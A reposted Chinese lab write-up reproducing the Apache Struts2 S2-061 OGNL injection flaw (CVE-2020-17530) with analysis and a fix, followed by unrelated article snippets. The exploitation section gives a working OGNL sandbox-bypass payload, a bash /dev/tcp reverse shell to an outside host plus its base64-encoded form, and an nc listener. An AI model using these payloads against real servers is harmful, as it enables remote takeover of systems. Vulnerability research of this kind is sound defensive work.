【漏洞复现】6.Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现与分析

文章目录

  • 1. 预备知识
  • 2. 漏洞复现
    • 2.1 漏洞介绍
    • 2.2 漏洞原理分析
      • 2.2.1 Apache Struts2架构
      • 2.2.2 OGNL语法介绍
      • 2.2.3漏洞原理
    • 2.3 漏洞复现
      • 2.3.1 靶场搭建
      • 2.3.2 漏洞探测
      • 2.3.3 漏洞利用
      • 2.3.4 POC分析
    • 2.4 漏洞修复

1. 预备知识

在这里插入图片描述

Struts是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts也是一个中间件,它可以连接不同的系统和服务,实现数据和功能的交互和集成。Struts有以下几点优势:

  1. Struts提供了一个控制器Servlet (ActionServlet),它可以根据struts-config.xml文件的配置,将传入请求映射到Struts Action对象,并实例化与暂时存储窗体数据的ActionForm对象。
  2. Struts提供了定制标记库,以便于在JSP页中与HTML窗体进行交互,并调用代码完成功能和Javadoc支持。
  3. Struts提供了模板创建Struts Action对象和ActionForm Bean,并自动在struts-config.xml文件中注册这些类。
  4. Struts提供了验证机制,可以对用户输入的数据进行检查,并设置错误消息。
  5. Struts与Apache软件基金会的其他项目(如Jakarta、Velocity、Lucene等)兼容,并可以与各种标准的数据访问技术结合在一起,包括EJB、JDBC和JNDI。

2. 漏洞复现

2.1 漏洞介绍

Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。
Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,可能照成控制服务器等危害。S2-061是对S2-059沙盒进行的绕过,S2-059的修复补丁仅修复了沙盒绕过,但是并没有修复OGNL表达式的执行
Struts2 会对某些标签属性(比如 id,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。此次漏洞只是S2-059修复的一个绕过,并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,如果没有使用这个依赖包,也还是没办法进行利用

2.2 漏洞原理分析

2.2.1 Apache Struts2架构

在这里插入图片描述

  1. 客户端提交web请求,指向一个Servlet容器,Servlet容器初步解析该请求
  2. 核心处理器Filter Dispatcher 协调其他控制器处理请求并确定合适的 Action
  3. 拦截器自动将通用功能应用于请求,例如工作流、验证和文件上传处理
  4. Action 方法执行,通常存储或从数据库中检索信息
  5. 结果将输出呈现给客户端,可以是 HTML、图像、PDF 或其他内容

2.2.2 OGNL语法介绍

OGNL的全称是对象图导航语言( Object-Graph Navigation Language),它是一种用于获取和设置 Java对象属性的开源表达式语言,以及其他附加功能,是Struts2的默认表达式语言。使用这种表达式语言,可以利用表达式语法树规则,存储Java对象的任意属性,调用Java对象的方法,同时能够自动实现期望的类型转换。如果将表达式看作是一种带有语义的字符串,那么OGNL就是这个语义字符串与Java对象之间的沟通桥梁,其功能就是双向转换语义字符串与Java对象数据即转换String和Object。
OGNL执行操作三要素:
表达式(Expression)、根对象(Root Object)、上下文环境(Context)
OGNL 三个重要操作符号
OGNL中的三个重要符号:#、%、$,这里重点介绍%,其用途是在标志属性为字符串类型时,计算OGNL表达式的值,类似JS中的函数eval()。例如:<s:url value =“%{items.{title}[0]}”/>。

2.2.3漏洞原理

S2-061和S2-059的OGNL表达执行触发方式一样,S2-059的修复方式为只修复了沙盒绕过并没有修复OGNL表达式执行点,因为这个表达式执行触发条件过于苛刻,而S2-061再次绕过了S2-059的沙盒。
diff一下沙盒,可以看到把很多中间件的包添加到了黑名单中。
在这里插入图片描述

已知的OGNL沙盒限制为:

  • 无法new一个对象
  • 无法调用黑名单类和包的方法、属性
  • 无法使用反射
  • 无法调用静态方法
    另外,最新的struts2在 ognl.OgnlRuntime#invokeMethod 中ban掉了常用的class,意味着即使绕过了沙盒依然不能直接调用这些类。
    再看一下OGNL沙盒未限制的操作为:
  • 对象属性 setter/getter(public) 赋/取值,可以访问静态属性。
  • 已实例类的方法调用( OgnlContext 中的对象),不允许调用静态方法
    可以看到目前我们只能在 OgnlContext 中寻找可利用的对象。
    在s2-061问题中,使用在jsp中定义的类,类似如下idVal=%{3*3}输入将执行双重OGNL评估,从而导致id=“9”
    //example <s:a id=“%{idVal}”/> //result <s:a id=“9”/>
    从diff分析,核心问题的部分在于属性name会调用 completeExpressionIfAltSyntax函数并将其分配给 expr,但在最终OGNL解析expr之前对name进行了递归检查。
    在这里插入图片描述

但是如果不对name进行第二次 OGNL解析,name将不会包含用户提供的来自 URL 参数的数据。但是在前面的evaluateParams函数中却执行了另一个 OGNL解析。
在这里插入图片描述

所以对于某些 UIBean标记的名称属性就很容易受到两次 OGNL 解析,这就导致了远程代码执行。

2.3 漏洞复现

2.3.1 靶场搭建

利用vulhub中的镜像strusts2 s2-061,进入到相关目录,执行docker-compose up -d
在这里插入图片描述

浏览器访问8080,页面如下搭建成功:
在这里插入图片描述

2.3.2 漏洞探测

  1. 验证漏洞是否存在
    192.168.10.132:8080/?id=%25%7b+%27test%27+%2b+(2021+%2b+20).toString()%7d
    通过抓取返回包发现执行了 2021+20的命令,漏洞存在
    在这里插入图片描述

  2. dnslog验证
    抓包修改为以下,这里的#arglist.add(“xx”)函数这里包含的值是要执行的命令
    在这里插入图片描述

刷新dnslog平台,获得一条访问记录,出网成功
在这里插入图片描述

2.3.3 漏洞利用

远程命令执行,把payload的命令换成要执行的命令,如ls列举当前目录环境
在这里插入图片描述

反弹shell:

bash -i >& /dev/tcp/192.168.10.132/4444 0>&1

反弹shell涉及到管道符问题要将命令进行base64编码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEzMi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}

在vps上监听4444端口:nc -lvnp 4444
在这里插入图片描述
在这里插入图片描述

反弹shell成功,可执行任意命令

2.3.4 POC分析

首先我们来看s2-061的命令执行方式:

%{ (#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})) }

在Struts2 v2.5.26之后将org.apache.tomcat加入了黑名单,导致无法获取BeanMap对象
在这里插入图片描述

绕过的新语法如下:

https://<domain>/?skillName=#@java.util.LinkedHashMap@{"foo":"value"}

创建一个 BeanMap 对象,可以通过如下实现:

#@org.apache.commons.collections.BeanMap@{}

2.4 漏洞修复

避免对不受信任的用户输入使用强制OGNL评估,或/和升级到2.5.26版,可修复该漏洞。建议受影响的用户将Apache Struts框架升级至最新版本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/760112.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何用SCSS制作小铃铛振动/震动/摇晃/晃动的特效/效果?

放大了看效果 ​​​​​​​​​​​​​​ // 摇晃小铃铛振动/震动/摇晃/晃动的特效/效果---------------------------------------- [sg-shaking] {display: inline-block;transform-origin: center top;animation: sg-shaking 1s alternate forwards; }keyframes sg-shaki…

【timm笔记1】

1. 安装timm pip install timm2. 打印模型 import timm# 获取并打印所有可用的预训练模型名称 available_models = timm.list_models() # 打印出所有的模型 print(available_models)# 打印所有包含"resnet"字符的模型名称 resnet_models = timm.list_models(*resne…

Java基础知识总结(中)

本文部分内容节选自Java Guide, 地址: https://javaguide.cn/java/basis/java-basic-questions-02.html &#x1f680; 基础&#xff08;上&#xff09; → &#x1f680; 基础&#xff08;中&#xff09; (正在更新中……) 面向对象基础 对象相等和引用相等的区别 对象相等一…

【每日力扣】491. 非递减子序列与122. 买卖股票的最佳时机 II

&#x1f525; 个人主页: 黑洞晓威 &#x1f600;你不必等到非常厉害&#xff0c;才敢开始&#xff0c;你需要开始&#xff0c;才会变的非常厉害。 491. 非递减子序列 给你一个整数数组 nums &#xff0c;找出并返回所有该数组中不同的递增子序列&#xff0c;递增子序列中 至少…

提升交付效率:Booking.com 金融技术团队的成功实践

Booking.com 金融技术业务部门的团队对其平台的后端和前端实施了一系列改进措施&#xff0c;并通过 DORA 指标将交付性能提高了一倍。此外&#xff0c;还使用了微前端 (MFE) 模式&#xff0c;将单体 FE 应用程序分解为多个可单独部署的分解应用程序。 2022 年年中&#xff0c;B…

GTC 2024,英伟达官宣四大量子突破

3月18日&#xff0c;英伟达&#xff08;NVIDIA&#xff09;公司宣布推出一项创新的云服务。该服务旨在帮助研究人员和开发人员在化学、生物学和材料科学等关键科学领域&#xff0c;推动量子计算的探索。 英伟达高性能计算和量子计算部门主管蒂姆科斯塔&#xff08;Tim Costa&am…

GIS设计与开发的学习笔记

目录 一、简答题 1.GeoDatabase数据模型结构类型与四种关系。 2.组件式GIS的基本思想是什么&#xff1f; 3.请简述创建空间书签的实现逻辑。 4.请问与地理要素编辑相关的类有哪些&#xff1f;&#xff08;列举至少五个类&#xff09; 5.利用ArcGIS Engine提供的栅格运算工…

恶劣天气对高速公路交通的影响

恶劣天气对高速公路交通的影响 高速低能见度会对安全驾驶造成以下影响&#xff1a; 降低驾驶员的感知能力&#xff1a;在低能见度条件下&#xff0c;驾驶员的视线距离缩短&#xff0c;难以看清周围的环境&#xff0c;包括道路状况、其他车辆和行人等。这会导致驾驶员对周围情况…

蓝桥杯 EDA 组 2023模拟+真题原理图解析

本文解析了标题内的原理图蓝桥杯EDA组真题&#xff0c;2021-2022 省赛真题/模拟题在上一篇文中。本文中重复或者是简单的电路节约篇幅不在赘述。 其中需要补充和计算原理图的题目解析都放在最下面 一、2023 年第十四届省赛模拟题1 1.1 Type-C 接口电路 通过 CH340N 将数据转化为…

解密Mysql数据库引擎:探究其背后的神秘力量(二)

本系列文章简介&#xff1a; 在本系列文章中&#xff0c;我们将从MySQL的基础知识入手&#xff0c;逐步深入到数据库引擎的内部机制。我们将详细介绍MySQL中常用的几种数据库引擎&#xff0c;包括InnoDB、MyISAM等&#xff0c;分析它们的优缺点以及适用场景。同时&#xff0c;我…

MySQL面试复习记录

一、mysql文章地址汇总 以下均为蓝云飘飘的文章&#xff1a; MySQL数据库&#xff08;一&#xff09;_写出sql语句,列出薪资比‘王海涛’的薪资高的所有员工,显示姓名,薪资-CSDN博客 MySQL数据库&#xff08;二&#xff09;_sql里的性别是什么代表-CSDN博客 ★★★★★ My…

Git Flow模型之美:优化团队协作开发流程

流程图 主要分支 master: 永远处在**即将发布(production-ready)状态**&#xff1b; develop: 最新的开发状态&#xff1b; 辅助分支 feature: 开发新功能的分支, 基于 develop, 完成后 merge 回 develop&#xff1b; release: 准备要发布版本的分支, 用来修复 bug. 基于 devel…

x-zse-96,android端,伪dex加固,so加固,白盒AES,字符串加密

x-zse-96,android端,伪dex加固,so加固,白盒AES,字符串加密 上一篇某招聘软件的sig及sp参数被和谐掉了,所以懂得都懂啊! 因为web的api没有那么全,所以来看了下app的,ios的防护几乎没有,纸糊的一样,android端的有点复杂了,到最后我也没能完整的实现整个加密过程,我也只复现到DF…

Hadoop安装部署-单机版

Apache Hadoop是一个使用HDFS&#xff08;Hadoop Distributed File System&#xff09;分布式文件系统执行可靠的、规模化的分布式计算的开源项目&#xff0c;Hadoop是使用Java语言开发&#xff0c;其运行在Linux操作系统上集群规模最大支持几千个分布式节点&#xff0c;本文主…

【嵌入式——QT】QThread创建多线程

【嵌入式——QT】QThread创建多线程 概述主要函数图示代码示例 概述 QThread类提供不依赖于平台的管理线程的方法&#xff0c;一个QThread类的对象管理一个线程&#xff0c;一般从QThread继承一个自定义类&#xff0c;并重定义虚函数run()&#xff0c;在run()函数里实现线程需…

基于java的健身房管理系统的设计与实现论文

摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本健身房管理系统就是在这样的大环境下诞生&#xff0c;其可以帮助管理者在短时间内处理完毕庞大的数据信息&…

【MySQL】数据库的基础概念

&#x1f466;个人主页&#xff1a;Weraphael ✍&#x1f3fb;作者简介&#xff1a;目前学习计网、mysql和算法 ✈️专栏&#xff1a;MySQL学习 &#x1f40b; 希望大家多多支持&#xff0c;咱一起进步&#xff01;&#x1f601; 如果文章对你有帮助的话 欢迎 评论&#x1f4ac…

Redis 更新开源许可证 - 不再支持云供应商提供商业化的 Redis

原文&#xff1a;Rowan Trollope - 2024.03.20 未来的 Redis 版本将继续在 RSALv2 和 SSPLv1 双许可证下提供源代码的免费和宽松使用&#xff1b;这些版本将整合先前仅在 Redis Stack 中可用的高级数据类型和处理引擎。 从今天开始&#xff0c;所有未来的 Redis 版本都将以开…

Vue.js前端开发零基础教学(二)

目录 前言 2.1 单文件组件 2.2 数据绑定 2.2.2 响应式数据绑定 2.3 指令 2.3.1 内容渲染指令 2.3.2 属性绑定指令 ​编辑 2.3.3 事件绑定指令 2.3.4 双向数据绑定指令 2.3.5 条件渲染指令 2.3.6 列表渲染指令 2.4 事件对象 2.5 事件修饰符 学习目标&am…

sentinel使用控制台实现

1、添加依赖 <!--整合控制台--><dependency> <groupId>com.alibaba.csp</groupId> <artifactId>sentinel-transport-simple-http</artifactId> <version>1.8.0</version></dependency> 此项方法&#xff0…